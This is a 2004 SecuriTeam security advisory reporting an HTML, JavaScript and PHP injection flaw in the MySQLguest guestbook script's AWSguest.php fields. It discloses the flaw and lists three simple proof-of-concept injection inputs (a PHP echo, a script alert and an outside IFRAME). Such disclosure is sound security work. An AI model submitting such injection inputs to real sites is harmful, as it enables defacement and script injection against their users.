[UNIX] MySQLguest Arbitrary Code Injection

From: SecuriTeam (support_at_securiteam.com)
Date: 10/05/04

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Date: 5 Oct 2004 11:44:35 +0200

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      MySQLguest Arbitrary Code Injection
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.allwebscripts.com> MySQLguest by "Allwebscripts is a
    guestbook script that uses MySQL to store messages".

    Allwebscripts' MySQLguest is vulnerable to a source code injection
    vulnerability in the AWSguest.php page. The vulnerability occurs as fields
    in the AWSguest.php page do not adequately sanitize HTML, script or PHP
    code.

    DETAILS

    In the AWSguest.php page, any of the following fields can be used to
    inject arbitrary HTML, JavaScript or PHP: "Name", "Email", "Homepage" and
    "Comments".

    Exploit:
    E-mail: <?php echo <p>Hello World</p>
    Homepage: <script language=javascript>alert ("Messagebox")
    Comments: <IFRAME SRC=www.computerknights.org>

    ADDITIONAL INFORMATION

    The information has been provided by BliZZard.

    ========================================

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